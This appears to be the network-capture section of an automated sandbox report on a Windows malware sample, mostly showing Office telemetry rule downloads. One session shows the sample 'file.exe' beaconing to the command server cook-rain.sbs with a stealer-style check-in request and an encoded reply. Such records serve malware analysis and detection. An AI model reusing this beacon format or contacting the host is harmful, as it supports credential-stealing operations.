2024-11-17 11:35:17 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:17 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113517Z-16547b76f7fmcv27hC1DFWgpcg0000000340000000000x5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:17 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:17 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113517Z-1866b5c5fbb2cz68hC1DFW9ytc000000038g0000000066p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:17 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:17 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:17 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: c32296f1-601e-003d-7597-376f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113517Z-164f84587bfsgfx9hC1DFWw1as000000044g000000004zxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:17 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113518Z-1866b5c5fbbwlv6nhC1DFWw4bs00000002tg0000000004e1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113518Z-1866b5c5fbbldb6rhC1DFW4bew00000004ag00000000cqxm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 23cdba65-001e-0082-460d-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113518Z-164f84587bflm48hhC1DFW0nf8000000010g0000000057y6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113518Z-16547b76f7fjx5nrhC1DFW4dsc000000019g00000000e38y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:18 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113518Z-164f84587bf9nk94hC1DFWerbg000000039g000000004810 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:18 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49744	188.114.97.3	443	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-17 11:35:18 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 32 38 32 35 43 41 33 32 43 30 31 43 30 39 38 46 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=2825CA32C01C098FF7005D7B20127A88
2024-11-17 11:35:18 UTC	1001	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=km3brhad8hnv4lfp5jdsru2id9; expires=Thu, 13-Mar-2025 05:21:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qsV12TvDBJdkVH41XXz6eshLEjE7hC%2FBXAsj1oPC7dLM2uJxOpINNk4zyBGXrjVgRsVOCDMGx0016htBFxTF%2BQSzpWbJRwZcb1jrX2CdItCHmSJeiyyDt7W1UTZ3kwOT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3f6aa55bf9474f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=985&delivery_rate=2391412&cwnd=251&unsent_bytes=0&cid=c01da70cd75850f0&ts=320&x=0"
2024-11-17 11:35:18 UTC	214	IN	Data Raw: 64 30 0d 0a 48 78 4e 4c 33 57 6c 56 37 4b 36 64 62 47 33 50 33 67 70 30 34 6f 49 69 6e 54 74 6a 4e 36 4d 64 37 65 38 6a 75 48 73 46 37 46 4e 45 61 47 6d 6f 53 32 2f 4f 78 75 6b 59 48 66 57 43 4a 53 6a 4e 73 78 71 6f 46 56 45 47 6c 6a 50 63 33 68 43 57 53 6a 4f 77 66 48 42 31 4c 59 46 47 4d 59 6e 49 73 77 6b 56 71 76 77 6d 56 6f 54 32 41 4b 63 4c 54 78 58 47 50 39 66 65 58 70 51 41 4a 35 6c 78 4a 54 45 6a 71 52 30 6c 31 76 4b 79 4d 45 4c 2b 35 6a 39 61 30 4c 4d 58 73 77 70 53 42 49 30 73 32 37 4d 4d 79 77 39 67 6a 54 35 44 50 44 6d 38 42 7a 47 44 77 37 4d 4a 46 61 72 38 4a 6c 61 45 39 67 43 6e 43 30 38 56 78 6a 2f 58 33 6c 37 6c 0d 0a Data Ascii: d0HxNL3WlV7K6dbG3P3gp04oIinTtjN6Md7e8juHsF7FNEaGmoS2/OxukYHfWCJSjNsxqoFVEGljPc3hCWSjOwfHB1LYFGMYnIswkVqvwmVoT2AKcLTxXGP9feXpQAJ5lxJTEjqR0l1vKyMEL+5j9a0LMXswpSBI0s27MMyw9gjT5DPDm8BzGDw7MJFar8JlaE9gCnC08Vxj/X3l7l
2024-11-17 11:35:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:19 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:19 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113519Z-16547b76f7ff9zf4hC1DFW2pfc00000001x0000000001qwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:19 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:19 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113519Z-16547b76f7fwm7vghC1DFW900s00000001sg000000009aq8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
